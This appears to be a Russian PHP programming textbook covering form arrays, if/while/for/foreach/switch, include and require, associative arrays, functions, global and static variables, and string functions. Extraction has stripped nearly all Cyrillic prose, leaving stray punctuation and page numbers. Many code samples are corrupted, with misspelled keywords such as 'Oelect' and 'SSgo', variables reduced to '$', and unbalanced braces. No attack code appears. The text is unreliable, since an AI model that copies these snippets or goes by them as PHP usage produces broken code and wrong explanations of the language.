, Third. , -
50
III.
PHP
? 3. , ,
:
Oelect name="Sel [] " multiple>
<option>First
<option>Second
<option>Third
</select>
10.
, , .
:
$, 10, 20 30, , . ,
, , .
-
.
<seiect muitipie>, ,
. ,
: . , 2 (
/), () ,
, ,
- :
<input type=checkbox name=Arr [ ] value=chl>
<input type=checkbox name=Arr [ ] value=ch2>
<input type=text name=Arr[] value="Some string">
<textarea name=Arr [ ] >Some text</textarea>
8.
151
, , ,
. , , .
, . . ( 8.7):
; 8.7.
: <input type=text name=Data[name]><br>
: <input type=text name=Data[address]><br>
:<br>
<input type=radio name=Data[city] value=Moscow>MocKBa<br>
<input type=radio name=Data[city] value=Peter>CaHKT-IleTep6ypr<br>
, ( ,
) . , ,
<input type=text name=Silly[one][two][three]>
, , $silly,
one] [two] [three , , ?
, , "" , .
152
III.
PHP
, , ,
. - . ! , 4.0.3 (
) . , , " ".
?..
, ? !
( 8.8).
! 8.8. testarr.php: ?
// @ , ,
/ / .
if(SSgo) {
if (@$A[10] [20]=="Yes") {
echo " ! " ;
} else {
echo " ! " ;
}
} else {
echo "<hl>Testing, wait . . . </hl>";
echo "<meta http-equiv=Refresh ";
echo "content='0; URL=$REQUEST_URI?go=l&A[l] [2]=Yes' >";
, . $ , , <meta>.
, go=i&A[i] [2]=Yes. ,
$ 1 (
). , ,
, $[1] [2],
Yes , Yes.
, ,
.
. , , if.
.
, . , , . .
"", "".
. , "" "" :
, . , echo , , ++ .
if-else
.
:
if(_)
_1;
else
_2;
: _ , _1, _2. ,
else ,
.
:
if($a>=l&&$b<=10)
154
III. PHP
_1 _2 , , , . :
if($a>$b) { print " b"; c=$b; )
elseif($a==$b) ( print " b"; $c=$a; }
else { print " b"; $c=$a; }
: elseif , else i f . ,
, -, .
i f - e l s e :
if (__) :
;
eiseif(__):
_;
else:
_;
endif
(:)! ,
. : ,
elseif else .
HTML- .
?>, , <?,
.
, , .
, ,
. ,
i f - e i s e .
, , HTML , HTML. ,
, , ,
, , . HTML- , , ,
include (. ). , .
9.
155
, , , , if-eise ( 9.1):
! 9.1. if-else
(@$go) :?>
, <?=$name?>!
<?else: ?>
<form action=<?=$REQUEST_URI?> method=post>
: <input type=text name=name><br>
while
. , , ( ). ( ),
,
. :
while(_)
;
, , _ - ,
. (,
- ,
, . , , ,
, .)
, . :
$1=1; $=1;
while($i<32) {
echo $p," ";
$=$*2; // $*=2
$i=$i+l; // $i+=l $i++
}
31- .
156
III. PHP
do-while
while, ,
. ,
. :
do (
;
} while(_);
, _,
, , ,
.
do-while (, - , , ,
).
for
( )
,
, (
for ). :
for(_; _; __)
;
. ,
, _ ( ). , :
for($i=0,$j = 10,$k="Test!;
. ,
_ ( while). , ,
. . :
//
for($i=0,Sj=0,$k="Test"; $i<10;
) $k.=".";
9. _
157
, . __ ( , ). :
for($i=0,$j=0,$k="Points"; $i<100; $j++, $i+=$j ) $k=$k.".";
, ( for)
while,
. :
$i=0; $j=0; $k="Points";
while ($i<100) {
$k.=".";
$j++; $i+=$j;
}
, , ... . :
$k ?
, :
for (_; _ ; __) :
;
endfor;
breaks continue
. ,
- , ( , - ). break, .
, , . 1, . . , :
for($i=0; $i<10; $i++) {
for($j=0; $j<10; $j++) {
If ( $ A [ $ i ] = $ A [ $ j ] )
break(2);
break ,
, 2.
158
III. PHP
break 4. ,
, (
, ) . , !
break :
, . , , $
:
for($i=0; $i<count ($A) ;
if ($A[$i]==0) break;
if ($i<count ($A) ) echo " : i=$i";
count , ,
$.
continue , break, " " .
(,
). , break, continue
,
.
continue .
-,
, . , , $, :
f o r ( $ i = 0 ; SKcount ($A) ; $i++) {
if ( !! ( $ A [ $ i ] ) ) continue/if ( '. (SA[$il ) ! continue;
$A[$i]=0;
9.
159
do-while break
,
break, "" (, ). , . ( 9.2):
| 9.2.
$WasError=0; // 0,
// Submit ( $doSubmit)...
if(@$doSubmit) do {
//
// . .
;
;
;
} while(0);
, ,
, , , $WasError!=0.
. ,
, .
, ,
dosubmit, .
, ( -
), .
, ,
- "--"
.
if( ) do { ... } while(0);
160
III.
, do-while
( while ). ,
""
break.
, return. , , ( ),
. , , , .
for each
.
:
foreach ( as $key=>$value)
;
,
=> $key $vaiue.
( 9.3), , foreach:
i 9.3.
foreach , , . :
foreach ( as $value)
;
,
. , , .
foreach , . ,
, , ""
9.
161
. , ,
, - , (
, ).
,
, .
switch-case
if-else switch-case:
switch() {
case !: !; [break;]
case 2: 2; [break;]
case : ; [break;]
[default: __; [break]]
}
: ( ,
, v), , case v:. , ,
( case _
, , ). , d e f a u l t
( ).
break (
, ),
, (
break, ). ,
=! !, .
switch-case:
switch():
case !: !; [break;]
case : ; [break;]
[default: __; [break]]
endswitch;
162
III. PHP
require
. :
require _;
( , !) _
( , ,
, <? ?>). (
include, ): ,
.
"" HTML-. ( 9.4,
9.5 9.6):
I 9.4. header. htm
<html>
<headxtitle>Title! </titlex/head>
<body bgcolor=yellow>
i 9.5. footer.htm
require "header.htm";
. . .
require "footer.htm";
, , HTML-
. ,
. ,
, . ,
! ,
, ( ).
9.
163
, , ,
, .
include
require, ,
" " , .
? . 10
f i l e O . p h p , f i i e i . p h p fiie9.php,
, 1 ... 9 ( ).
:
for($i=0; $i<10; $i++) {
include "file$i.php";
}
, 10 : "0123456789".
,
! (
include require. .)
, , , ,
include. .
(, ,
, ).
? , include . , ,
, include,
" " , .
?
, .
: include , - .
, , , .
include
, . , "", , , -
164
III. PHP
include require . ,
( ).
, . -
Excel
xllib.php ( 9.7):
i 9.7. xllib.php
Function LoadXIDocument($filename) { . . ,
Function SaveXlDocument($filename,$doc) {
Microsoft Word, w i i b . p h p .
9.
_ 165
Word Excel ,
( 9.8) , xllib.php require:
: 9.8. wlib.php
require "xllib.php";
Function LoadWDocument ($filename) ( . . . )
require "wlib.php";
require "xllib.php";
$wd=LoadWDocument ( "document . doc" ) ;
$xd=LoadXl Document ("document . xls") ;
, , , xiib.php
LoadxiDocO !..
? , ,
"" 9.9. :
//require
"wlib.php";
//require
"xllib.php";
166
III. PHP
//require "xllib.php";
Function LoadXlDocument($filename) { . . . }
Function SaveXIDocument($filename, $doc) ( . . . )
$wd=LoadWDocument("document.doc") ;
$xd=LoadXlDocument("document.xls");
, x l l i b . p h p :
wiib.php, . , , ,
LoadxiDocument , .
, wiib.php , xllib.php .
. , ,
. . ?
, (, ?) , . :
inciude_once require_once.
require_once , require, . ,
, . , . , , .
indude__once ,
, .
, , .
include_once require_once.
require include. ,
- , , require,
, require_once,
.
10
, ,
. , ( Perl , ). ,
.
-
, .
, , , ,
, $ai, $a2 . ., , , ,
, . ,
, :
for ($i=0; ; $i++) {
$v="a$i";
if(lisset($$v)) break;
.. - $$v
\)
! .
- - "", , 15,
.
, - .
, ,
.
168
III. PHP
.
.
( 10.1):
| 10.1.
!
$NamesList[0]="Dmitry";
$NamesList[1]="Helen";
$NamesList[2]="Sergey";
, $NamesList , , 0. , ,
( , $NamesList
). , (, , ,
) (
, ), .
, ,
, , .
, . . . ,
.
, . for:
echo " : ".$NamesList[0]."<hr>";
for($i=0; $1<-_; $i++)
echo $NamesList[$i]."<br>";
, count ( ) sizeof ( ) :
for($i=0; $i<count($NamesList); $i++)
echo $NamesList[$i]."<br>";
" ".
10.1, , . : , ,
, . , :
$NamesList[]="Dmitry";
10.
169
$NamesList[]="Helen";
$NamesList[]="Sergey";
PHP (, SNamesList
)
, . , . ,
[ ] ,
, :
Unset($FNames); //
while($=____ )
if (paciiMpeHHe_$f_ecTb_txt) $FNames [ ] =$f ;
// $FNames txt
( ), ,
. ,
. : , , , . . ,
.
. ,
, : .
:
$Names["Koteroff"] = "Dmitry";
$Names["Ivanov"]
= "Ivan";
$Names["Petrov"]
= "Peter";
, :
echo $Names["Ivanov"];
$f="Koteroff";
echo $Names[$f];
, , , . , ,
: , for,
, , .
, . , , , ,
for $i.
170
III. PHP
listf)
- $List :
, .
$name, $surname $age . , , :
$name=$List[0];
$surname=$List[1];
$age=$List[2];
list , :
list($name,$surname,$age)=$List;
, . , list : , , .
, $List?
list , :
list(,$surname,$age)=$List;
, $surname $ , .
, , ,
.
.
: ?..
.
-, "" ( , ). -,
, . .
( ) , . , , . "" ( - ""), , ,
.
10.
171
[ ] ,
, (, ,
).
,
$[]= , ,
, .
, ,
: ,
,
.
. ,
.
, :
(
if-eise ):
$Names["Ivanov"] ="Dmitry";
$Names["Petrova"]="Helen" ;
, , :
echo $Names["Petrova"];
// Helen
echo $Names["Oshibkov"];
// : !
. : .
, , ,
$Names, .
, - $Names...
, , .
array ( ) . :
// $Names
$Names=array();
// ,
$Names=array("Ivanov"=>"Dmitry", "Petrova"=>"Helen");
// ( 0,1,2}
$NamesList=array("Dmitry","Helen", "Sergey") ;
III.
772
, ( ) . . , ,
( ,
) , , . ,
( ) . , , $Names :
$Names["Ivanov"] = array("name"=>"Dmitry","age"=>25);
$Names["Petrova"] = array("name"=>"Helen", "age"=>23);
:
$Names=array(
"Ivanov" => array("name"=>"Dmitry","age"=>25) ,
"Petrova"=> array("name"=>"Helen", "age"=>23)
);
?
:
echo $Names["Ivanov"]["age"];
// "25"
echo $Names["Petrova"]["bad"];
// : "bad"
, ? , , ,
. struct ( record ).
, ,
.
, ( ). , .
, ,
.
, (, ,
) , . :
echo $Arr["anykey"]; // $ anykey
echo $Arr["first"]["second"]; //
10.
/73
echo (SomeFuncThatReturnsArrayO)[5]; // ! !
// :
$Arr= SomeFuncThatReturnsArray();
echo $Arr[5];
,
: , " ", , [ ] , .
$[] " ", . .
,
&, . . :
$Arr["anykey"]=array(100,200); // 100
$ref=&$Arr["first"]["second"]; // $ref
$Arr[]="for add"; //
count()
( )
count :
$num=count($Names);
// $num
, count ( ) ,
( count (}
1, ).
-,
-.
, . .
, , . +. :
$a=array("a"=>"aa", "b"=>"bb");
$b=array("c"=>"cc", "d"=>"dd");
$c=$a+$b;
$ , 4 , : a r r a y ( " a " = > " a a " , "b"=>"bb", "c"=>"cc", " d " = > " d d " ) ,
. $=$+$, , : array ( " c " = > " c c " , "d"=>"dd",
;' "=>" ", "b"=>"bb"), .. .
, ? -
174
III. PHP
+ , . . $+$ $+$, $ $ .
. :
$=(10,20,30);
$b=array(100,200);
$=$+$;
, , $ (,20,,,200)?
: a r r a y ( i o , 2 0 , 3 0 ) . .
( ,
)
, , .
. , $
$. . :
$=(''=>10, ' ' = > 2 0 ) ;
$b=array(''=>'new? ' ) ;
$a+=$b;
- , += $ $. . $ *.
, .
- $? ,
( , 4 array_merge , 13):
foreach ($b as $k=>$v) $a[$k]=$v;
, .
.
$z=$a+$b+$c+... . .;
, += ,
+= ,
, -, .
,
, , , , . , ,
10.
175
, + , . , " "...
, +
! ,
(10,20) array(100,200, 300} array(10,20, 300)
! , ,
, ?..
. , , , :
// $Names .
for($i=0; $i<count(SNames); $i++)
echo SNames[$i]."\n";
, , , :
for ($1=0; $i<count($Names); $i++)
echo "$Names[$i]\n";
, , , ,
3. , , $:
$Names=array(
array('name'=>'', 'age'=>20),
array name'=>'', 'age'=>40)
};
, $Names : , , , . :
for(Reset($Names); ($k=key($Names)); Next($Names))
echo " $k ($Names[$k]} \";
76
III.
. , , ,
, . Reset
. key
, (
, , key for). Next
.
, , Reset ( ) Next ( ) ,
, ,
:
Reset (
, );
Next ( ) ,
( , ).
(, ) ,
. :
for(End($Names); ($k=key($Names)); Prev($Names))
echo " $k {$Names[$k]} \";
, . End ( ) , a Prev ( ) .
. current ( ) . key ( ) ,
, ( ).
. - "" ,
, , . .
:
. : for "" for'a. ,
( , ,
- ). ,
.
10.
177
, 0 ( , , )? :
for(Reset($Names); ($k=key($Names)); Next($Names))
echo " $k - {$Names[$k]} \";
($k=key ( $ N a m e s ) ) , , ,
, .
,
, ,
.
(
, ),
. , ""
, .
, $Names
.
:
for(Reset($Names); list($k,$v)=each($Names); /**/)
echo " $k $v\n";
Reset ( ) .
$k $v
each ( ) . ( ,
).
each ( ) ? -, (
, ),
$Names, . -,
. , ,
, a false.
f o r . ,
for: ,
each ( ) .
178
III PHP
4
,
foreach. . :
foreach($Names as $k=>$v) echo " $k $v\n";
, ? ,
, ,
, for .
"" for
each ( ) . , foreach $Names , , .
, Reset () each ,
. , ,
each ( ) , Reset ( ) !
, . -
(, - |), , ,
, , . explode ( ) , implode ( ) .
, . . .
explode ( ) :
list explode(string $token, string $Str [, int $limit])
, ,
, .
"" , -, . $iimit,
( $ i i m i t - i ) "". ,
$ limit . -
10.
179
, ,
, , 6 . :
$st="45972193611 ||40|ivan@ivanov.com|, (|) !";
$A=explode("I",$st,6); // , 6 !
// $[0]="", ... $[5]= ", (I)!"
list($Surname,$Name,$Age,$Email,$Tel)=$A; //
, , .
!
implode join ,
explode ( ) .
string implode(string $glue, list $List)
string join(string $glue, list $List)
( ) $List,
, "" "-"
$glue . ,
.
implode explode , . .
, implode explode , , , ,
. ,
, , : -,
- (
), -, .
, - -
( , ) ,
, ,
. , , (
), ,
.
, , .
, Cookies.
7 , 699
180
III. PHP
, ,
.
.
. ,
- ,
(, ,
). , , serialize
Unserialize().
serialize , $obj, .
string Serialize(mixed $0bj)
, : , .
. :
$A=array ( "a"-->"aa", "b"=>"bb", " c " = > a r r a y ( " x " = > " x x " ) ! ;
$st=Senaiize($A) ;
echo $st;
// - :
//
:2:{s:1:"";s:2:"";s:1:"b";s:2:"bb";s:1:"";:1:{s:1:"";s:2:"";}}
-, , "" , .
Unserialize , , $st
, serialize ,
, .
mixed Unserialize(string $st)
:
$a=array(1,2,3);
$s=Serialize($a);
$a="bogus";
echo count($a);
// 1
$a=Unserialize($s);
echo count($a);
// 3
: ,
. - . ,
- ,
.
11
, ,
, . :
( ,
);
, ;
;
return,
;
,
, ""
.
,
( ), , ,
Watcom C++. -
: ( ) ,
, , ""
. ,
Perl. ,
( 30 ), .
, ,
. , , , .
( ) global (
, $GLOBALS, ). , , ,
182
III. PHP
. ,
, .
, . , - , -, . ,
( ,
-1). ( , , , ).
! 11.1.
function GetMaxNum($arr, $max="")
{ //
for ($i=0, $n=-l; $i<count ($arr) ; $i++) {
// ,
if ( ( l l s s e t (Sm) | | $arr[$i]>$m) && ($max==="" | | $arr [$i] <$riax) ) {
// , ,
// ( )
$m=$arr[$i]; //
$n=$i;
//
return $n;
,
, . ,
GetMaxNumO , , :
echo "...";
function GetMaxNum($arr,$max)
{ ... ...
)
11.
183
, , , ,
. , ,
...
, GetMaxNumo ,
, .
. "",
$arr [ $ i ] , , "
".
:
"":
, $., ,
$. ( , $ $="". , , $.)
$ ( -1, $ ). - return.
, :
$=(10,20,80,35,22,57);
$m=GetMaxNum($a,50);
// $=3, . . $[$]=35
, , , .
, , , (,
). ,
, : ,
.
G e t M a x N u m o ? ,
. , -
184
III.
,
( 11.2):
; 11.2. GetMaxNumO
function MySort($Arr)
{ $m= GetMaxNum($Arr)+1; // , 1
while(($n=GetMaxNum($Arr,$m))!=-!)
$New[j=$m=$Arr[$n];
//
return $New;
}
// :
$Sorted=MySort(array(l,2,5,2,4,7,3,7,8));
// $Sorted===array(8,7,5,4, 3,2, 1)
, .
GetMaxNumO
$, .
MySort () 2 , $ unset ( ) .
, , .
:
function _(![=1], 2[=2], ... [=])
{
__;
.
, , -, MyFunction, myfunction MyFuNcTion
, , -,
( ),
,
(, $ ). , , ,
(,
11.
185
( =), ; . ). , (
time ( ) ) , , :
function SimpleFunction{) { ... }
.
, (,
" " , ,
"" , ,
).
- ,
return, .
( , , ,
), return (
).
return
return , ,
.
(, ),
( ),
return ( ),
. ,
:
function MySqrt($n)
{
return $n*$n;
}
echo MySqrt(4);
// 16
, , . , ,
, ( 11.3):
; 11.3.
function silly()
{ return array(1,2,3);
}
// (1,2,3)
$arr=Silly();
186
III. PHP
// $, $, $
list($a,$b,$c)=Silly();
list , .
, . . return
, , ( , false).
false (
, void- -), ,
return false, .
,
,
. ,
. , , : . , ,
, .
:
function MySort(&$Arr, $NeedLoOrder=l)
{ ... $NeedLoOrder...
, , :
MySort($my_array,0);
//
MySort($my_array);
// !
, ,
, 1. , -
. ,
, , "" . , , :
// !
function MySort($NeedLoOrder=l, &$Arr)
f
... SNeedLoOrder...
}
MySort(,$my_array); // ! !
1 1.
187
,
. , , :
function Test($a)
{ echo "$a\n";
$a++;
echo "$a\n";
$num=10;
Test ($num) ;
echo $num;
Test (, ,
, . .
) ? , $, (
), 10
(, $num). 10 ,
$ , () .
, .
: $num?
10 ( , $
11!) , : $
$num, , , .
, , ,
( ), & ( 11.4):
! 11.4. ( )
function Test($a)
{ echo "$a\n";
$a++;
echo "$a\n";
}
$num=10;
// $num=10
Test(S$num);
// $num=ll!
echo $num;
// 11!
188
III.
PHP
"
", , "" . .
, .
& , .
, ,
++ . , &
, ( 11.5):
| 11.5. ( )
function Test(S$a)
{ echo "$a\n";
$a++;
echo "$a\n";
$num=10;
// $num=10
Test{$num);
// $num=ll!
echo $num;
// 11!
,
, , . .
"" , ,
, & .
~
, Test (), ( ),
(, 100), :
. , , ,
, .
, ,
. , . . , echo, . ., , (
).
"" - (, ,
11.
189
).
( 11.6):
11.6.
function myecho ( )
(
for($i=0; $i<func_num_args (}
for($j=0; $j<$i; $j++) echo "Snbsp;"; //
echo func_get_arg($i) . "<br>\n";
//
// ""
, .
mixed func_get_arg (int $num)
$num,
. , , .
l i s t func_get_args ( )
, .
,
, .
( 11.7):
| 11.7. f uct_get_args ( )
function myecho ( )
{
190
III. PHP
// ""
myecho ("", "", "", "");
foreach , @, "" , $1
"" .
- " " . , ( , )
,
. ( 11.8):
: 11.8. ()
$=100;
// , 100
function Test($a)
{ echo $a; // $
// $ !
$++; // , $
}
Test(l);
// 1
echo $a;
// 100 $, ,
, ,
. ( 11.9):
; 11.9.
function Silly()
{ $i=rand();
echo Si;
// $i
//
// $1 $1 !
)
for($i=0; $i!=10; $i++) Silly ;
11.
191
$i $1, . , ,
10 "", 10 (
, " " rand ( } 10.
, . ,
...
( )?
, - "" ,
" "
.
, ,
(, , ), : , ,
( , , ).
, :
"" ( 11.10):
I 11.10. global
function Silly()
{ global $i;
$i=rand();
echo $i;
}
for($i=0; $i!=10; $i++) S i l l y ( ) ;
- $i : ,
( "",
, , rand ( ) 9).
, ( 11.11):
| 11.11.
I
$Monthes[1]="";
$Monthes[2]="";
192
III. PHP
. . . . .
$[12]="";
// . 1!
function GetMonthName ($n)
{ global $Monthes ;
return $Monthes [$n] ;
, $Monthes, ,
. , ,
. GetMonthName ( ) ( ).
: . ?
SGLOBALS
, .
$GLOBALS.
, , .
, . , :
// . 1!
function GetMonthName ($n) { return $GLOBALS ["Monthes"] [$n] ; }
, , , ,
. , , $, .
- $GLOBALS
:
$GLOBALS [ "" ] [First"] [10] [20] ;
11.
193
$GLOBALS . , ,
, . ,
, . -, ,
. , :
- , =;
, " " --
.
. , , , , . , , : $GLOBALS
(, $ ,
), Onset
.
$GLOBALS.
, ( , )
? GLOBALS, , GLOBALS...
( , )?
, ? ,
, , , ? ? , $ GLOBALS
.
3 . . GLOBALS ,
$GLOBALS. , .
,
, global,
. , global $a , $ , . ., $. . , global ? ,
. :
function Test()
{ global $a;
$=10;
194
III. PHP
Test :
function Test()
{ $a=S$GLOBALS['a'];
$=10;
}
, unset ($)
$, "" $.
. :
$=100;
function Test()
( global $a;
Unset($a);
}
Test () ;
echo $a;
// 100, . . $ TestO !
global 4, . .
!
3, echo : $ . 4.
$ ?
: $GLOBALS [ ' 1 ] :
function Test{) { unset($GLOBALS['a']); }
$a=100;
Test () ;
echo $a; // ! $ !
, , , , . , . ( 11.12):
I 11.12.
function S i l l y ( )
{ static $a=0;
11.
195
echo $a;
$++;
}
0123456789, .
static. : . ,
$ , 0.
, static , .
$= ,
( static).
, , . . (, ,
). ,
, , ( , ),
. ,
( n i ) . :
=, ! =1, ! =* ( (-1) !).
function Factor($n)
( if($n<=0) return 1;
else return $n*Factor($n-l) ;
}
echo Factor(20);
.
:
function Factor($n)
{ for($f=l; $n>l; $n) $f*=$n;
return $f;
. , . , -
196
III. PHP
,
"", , , "-"
. , V , , ( )
.
, "" ( 11.13):
I 11.13.
;
.1
function Parent($a)
{ echo $;
function Child($b)
{ echo $b+l;
return $b*$b;
}
//
Parent(10);
Child(30);
//
// , . , ?
// ,
? !
, , -
. , , " " (?) .
,
,
. , , ,
.
, "", , .
. Parent ( )
:
Parent(10);
Parent(20);
11.
197
: child .
, child Parent , (
Parent ). - "":
child () .
^)
, Perl, . , , , Perl.
, -
$OS_TYPE win, Windows 9x, unix,
Unix. , Unix, Windows , , , chowno (
)
. Windows . ,
( !)
"" chown ( ) ( 11.14):
1 11.14.
if ($OS_TYPE=="win")
{ // -
function MyChOwn($fname,$attr)
( //
return 1 ;
else
{ / / chown ( )
function MyChOwn($fname, $attr)
( return chown ($fname, $attr) ;
. Windows, MyChOwnO 1
III. PHP
/gg
, Unix chown ( ) . , , , ( ), . . .
chown ( )
MyChOwn ( ) ( / ) .
/ (
), ,
, chown
:
if ( ! function_exists ( "chown" ) )
{ function chown ($f name, $mode)
{ //
return 1 ;
, Windows "" c h o w n o , .
( , 4
.)
:
ttifndef, telse #endif. , , , , . , , .
, , . , ? . , - ,
, ,
3. , ().
" "
, ,
11.
199
. , . . , " ".
:
function A($i) { echo "a $i\n"; }
function B($i) { echo "b $i\n"; }
function C($i) { echo "c $i\n"; }
$F="A";
// $F="B" $F="C"
$F(10);
// , $F
.
uasort ( } , , ,
,
. 13,
:
//
function FCmp($a,$b)
( return strcmp(tolower($a),tolower($b))
}
, uasort ,
,
.
, -, , .
, ( ), . , , , ,
.
, , ,
return. , , . :
$=100;
function R()
{ global $a; // $
200
III. PHP
return $a; // , !
}
$b=R();
$b=0;
// $, $!
, R ( ) ,
$,
, $. ,
- (
),
, .
?
$ = & ( ) , , , . . $
$, . return &$a, ( & =). . ,
( 11.15):
! 11.15.
$=100;
function &R() // &
{ global $a; // $
return $a; // , , !
}
, & :
,
. return .
. no-
& , $
$, . - , . , ,
.
1.
20
: DumpO
,
. , , , .
, Dump ( ) .
, . , ,
, , ,
, . , (
).
(
v
4 print_r ( ) var_dump ( ) , , ,
.
\
I 11.16. Dump ()
// , ""
function TextDump (&$Var, $Level=0)
{ if (is__array($Var) } $Type="Array[" . count ($Var) ."]";
else if (is_object(SVar) ) $Type="Object";
else $Type="";
if($Type) {
echo "$Type\n";
for (Reset ($Var) ,$Level++; list ($k, $v) =each ($Var) ; ) {
if (is_array ($v) && $k==="GLOBALS") continue;
for($i=0; $i<$Level*3; $i++) echo " ";
echo "<b>".HtmlSpecialChars ($k) . "</b> => ", TextDump ($v, $Level) ;
//
function Dump(&$Var)
if ( (is_array($Var) | |is_object ($Var) ) && count($Var))
echo "<pre>\n", TextDump ($Var) , "</pre>\n";
else
III. PHP
202
echo "<tt>",TextDump($Var),"</tt>\n";
Dump ( ) .
TextDumpO (, , )
Htmispeciaichars , <, > " HTML-
(,
Sit;,
>
Squot;).
, , ( <>
<tt> ).
.
,
. , , , . "", .
2030 , , .
, .
: , - , , ,
. : , . , ,
. .
, : , .
- , , . , ,
- , . ,
,
, , , . , : ,
serialize () , Cookies
. , :
,
.
---
Y '
V
\
IV.
PHP
,
, , . ,
. ,
: , , ( ,
, ),
PCRE (Perl-compatible regular expression
Perl). ( !) , , ,
...
,
. echo,
. .
, Web-. , ,
,
. , , (
, ?) , , oruine-, http://www.php.net http://ru.php.net. ,
,
, .
.
, ,
. , : Web!
( !) , . ,
( , ), , . ,
( http://www.php.net) , ,
. , ,
( ). ,
, , , , .
12
. , , s e r i a l i z e ; ) ( u n s e r i a i i z e ).
0 255 .
" ",
( ). ,
- .
(, 1 15) chr , .
, -
( ) , ' , : , . . ( ) . , ,
(, ), , .
, .
( 80%), . - (, quotemeta ( ) ) , . , , : ,
? , ,
, , .
, , , .
, , +, : ,
? , , - ?
12.
207
,
+ , .
, "."
().
"."
. , , . . , array object . ,
,
- , .
, Array:
$a=array(10,20,30);
echo $a // ! !
, , .
,
. , , $day
, $month $ ,
" 8 2000 " :
echo " $day $month $year ";
, echo,
. , $.
if-else
,
.
. == != (
, ) -, , ,
. if. ( 12.1):
\ 12.1. ! !
$=1;
//
$zero=0;
//
if($one=="") echo 1;
// , 1
if($zero=="") echo 3;
// ! 3!
208
IV.
if(""==$zero) echo 4;
// !..
if("$zero"=="") echo 5; // 3
if(strval($zero)==""} echo 6; // 6
ifC$zero===""} echo 7;
// , 3
, "" 0 () ""? , . , ,
. 0, ,
; .
3
, "". , - , ,
, . , 3.0.12
, , , .
, -, , , .
, 4 ===
( , ). ,
. , 0=="", 0!=="".
, , === strval ( ) , 12.1.
, .
. strpos ( $ s t r , $ w h a t ) , $what $str false,
. ,
$str <? ( " PHP-", ).
,
if (strpos ($str, "<?") !=false)
echo " PHP-";
, <? (
, ,
0, false).
3,
:
if (strval (strpos ($str, "<?") } !="")
echo " PHP-";
12.
209
, "", .
, 4
:
if(strpos($str,"<?")!==false)
echo " PHP-";
, ! ==
false, "". ,
false ! =="", , , false=="".
string chr(int $code)
$code.
- , ,
. 12.2 ,
, . .
| 12.2. :
// , ,
// ()
for(.$i=0,$x=0; $x<16; $++) {
for($y=0; $y<16; $++) {
$Chars[$x][$y]=array($i,chr($i));
// ,
// HTML-
210
IV.
{?>
<tr>
< ? f o r ( $ x = 0 ; $<16; $++) { ?>
<td>
<?=$Chars[$x] [$] [0]?>:
<bxttx?=$Chars[$x] [$y] [ l ] ? x / t t x / b >
</td>
<?}?>
</tr>
<?} ?>
</table>
, , $ch. ,
o r d ( c h r ( $ n ) ) $ , $
255.
int strrpos (string $where, char $what)
, strposo (. ), . $where ,
$what ( $what , ,
!). ,
, false (. strpos ( ) ).
, , strrpos () .
.
, , ( ) :
. ,
, -
, , , . , .
12.
211
, , . ,
.
, 32, , , . , , - " ",
- .
, ,
. , .
, ,
, . , ""
, , 1%-
, ,
. , ,
. , , , .
string trira(string $st)
To , t r i m o , ,
. .
trim , .
string chop(string $st)
, .
, Perl. , .
8 . 699
212
IV.
int strlen(string $st)
. , . .,
$st. , , (
). strlen ( ) .
int strpos(string $where, string $what, int $fromwhere=0)
$where (
) $what () . , , 0. $fromwhere ,
$from, - .
$fromwhere. ,
false. ,
strpos false ===.
string substr(string $str, int $from [,int $length])
(, ) : ,
; -1, $strl $str2; 1, , , $stri "" $str2. , .
int strcasecmp(string $strl, string $str2)
To , s t r c m p o ,
. , "" "" .
12.
213
"" , . "" (, )
strcasecmpO
(/. ).
, , .
string str_replace(string $from, string $to, string $str)
$str $from ( )
$to . , , . ,
ereg_repiace ( ) , , , - . , HTML- <br>:
$st=str_replace("\n","<br>\n",$st)
, , <br>\n , , . . .
ni2br ( ) , .
string n!2br(string $string)
\ <br>\n . . , \, Windows,
, .
string Wordwrap(string $st, int $width=75, string $break="\n")
, - 4,
mail . $st
, $break, ,
$width . ,
. , $break. ,
60 -
214
IV.
, " " ( ,
, ):
function Cite($OurText, $prefix="> ")
! $st=WordWrap($OurText, 60-strlen (Spref ix) , "\n") ;
$st=$prefix. str_replace ("\n", "\n$prefix", $st) ;
// , ,
// -, .
return $st;
. $aiiowabie_tags ,
. . :
$st="
<> </>
<^> TeKCT</tt>
< href=http: //www.dklab. ></>";
echo " : $st";
echo "<> : " . strip_tags ($st , "<a><b>" ) . "<hr>";
, , <> <>
( ), <tt> .
string str repeat (string $st,
string $number)
Web- , : , , , , URL- . ,
, . - ,
.
12.
215
, -
. : $str ,
$from, "" (
, $from) $to. ,
ereg_repiace , , . ,
...
.
URL-
URL- $st .
, , ,
< h r e f = . . . > - , , - . :
echo "<a href=/script.php?param=".UrlEncode($UserData);
, $UserData =, &
, .
string UrlDecode(string $st)
URL- . , , UrlEncode ,
.
string RawUrlEncode(string $st)
UrlEncode , +, , - . ,
.
string RawUrlDecode(string $st)
UrlDecodeQ, + .
, echo. ,
.
string HtmlSpecialChars(string $str)
( [],
"" "") HTML-, , " ". value ,
216
IV.
,
, . , $ . , ,
:
<?foreach ($Book as $k=>$v) ( ?>
: <?=$v[ 'name' ] ?><br>
: <?=HtmlSpecialChars ($v[ 'text' ] ) ?>
<hr>
,
.
Web- ,
strip_tags ( ) . , , "" . ,
, , ,
, : < name= ' a>b ' >.
string StripSlashes (string $st)
: ', " \.
e v a i o ( , , , ; () , ).
- , ,
, . . .
,
s t r t r o , , ,
. ,
. .
string strtolower (string $str)
. .
12.
217
, (
, , , , . .) , ,
. , , , "" , strtr ( ) :
$st=strtr($st,
"ABEKMHOPCTXABCDEFGHIKLMNOPQRSTUVWXYZ",
"!ghiklmnopqrstuvwxyz");
,
, .
string strtoupper (string $str)
. .
,
"" , ""
.
( )
string SetLocale(string $category, string $locale)
,
, - . .
,
-. ,
SetLocale , $category. :
LC_CTYPE --
/ ;
LC_NUMERIC , ;
LCJTIME ;
LC__ALL .
$iocaie. , , , ,
218
IV.
. . ,
. -, $ locale
"", , ,
$category ( LANG Unix). , 0, , .
, , , -, .
-,
. , , , , , Windows:
setlocale('LC^CTYPE', 'ru_SU.KOI8-R') ;
KOI8-R.
, ,
, .
, , : ,
(, s t r t r o ) , .
,
. ,
: windows, KOI8-R. -
- WIN-1251, ,
KOI8-R.
.
string convert_cyr_string(string $str, char $from, char $to);
12.
219
-866
d -866
d m x-mac-cyrillic
, ,
,
.
, , ""
. , - :
echo ", Sname! $ .";
, :
printf(", %s! % ",name, age);
, , -. ,
,
.
string sprintf(string $format [, mixed args, ...])
sprintf . ,
,
,
.
$ format , %.
. ( ,
% ) , , $format.
% , :
echo sprintf ("The percentage was 9od%%", $percentage) ;
( %):
, , . - ( , ) 0,
220
IV.
. -,
, '.
, , .
,
, - ().
, .
, ""
, .
, ".", ,
. , , .
, ( !) , :
;
d ;
